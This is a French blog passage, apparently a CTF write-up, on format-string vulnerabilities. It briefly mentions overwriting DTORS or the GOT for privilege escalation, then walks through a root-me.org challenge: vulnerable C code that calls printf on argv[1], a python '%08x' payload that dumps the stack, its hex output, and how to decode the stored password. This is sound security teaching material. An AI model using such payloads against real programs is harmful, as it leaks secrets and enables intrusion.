Voila donc comment on s'élève en privilèges grâce à un simple printf mal utilisée.
Maintenant on peut aussi utiliser la GOT (Global Offset Table). La technique d'exploitation reste à peu près la même, si ce n'est qu'il nous faut l'adresse d'une fonction utilisée par cette section. Personnellement je l'utilise quand DTOR est en read-only.

Après il y'a d'autres techniques mais je voulais centrer mon article sur une des méthodes que j'affectionne :) .

Exploration de la pile via Format String

2011-01-04T10:12:00.000-08:00

J'ai eu envie de faire un petit article là dessus étant donné que le problème s'est posé sur un challenge
(root-me.org), j'ai trouvé ça rafraichissant vu que ce n'était pas forcément le but que de rediriger le flux d'exécution là où on voulait.

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/wargame/binary/binary6/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}

Désolé pour l'indentation je ne maitrise pas encore vraiment l'éditeur :s .
Voici la source.
Donc c'est une exploitation on ne peut plus "classique".
Mauvaise utilisation de printf sur la variable passée en paramètre, donc sa valeur peut elle aussi servir de paramètre. On utilise donc le formateur %x pour que le programme affiche les valeurs de la pile.

./level5 `python -c "print '.%08x'*100"`
00000020.08e69008.00000000.00000000.00000000.bfa46878.39617044.
28293664.6d617045.bf000a64.08048364.b76d9ff4.080496e8.bfa44808.
08e69008.bfa44810.b76d9ff4.bfa44868.b7599455.08048520.080483e0.
bfa44868.b7599455.00000002.bfa44894.bfa448a0.b7715...[...]0000000

Notre mot de passe devrait se trouver au début de tout cet amas hexadécimal.
Maintenant il faut aussi se rendre compte que tout ça se fait sur une plateforme Linux x86
donc tout est en little-endian.
On enlève les 0 du début de ligne et on garde le début de la chaîne, genre :
bfa46878.39617044.28293664.6d617045.bf000a64.08048364
On convertit le tout en big-endian et on voit finalement apparaître le mot de passe.
(que je ne spoilerais pas ici de toute façon :p ).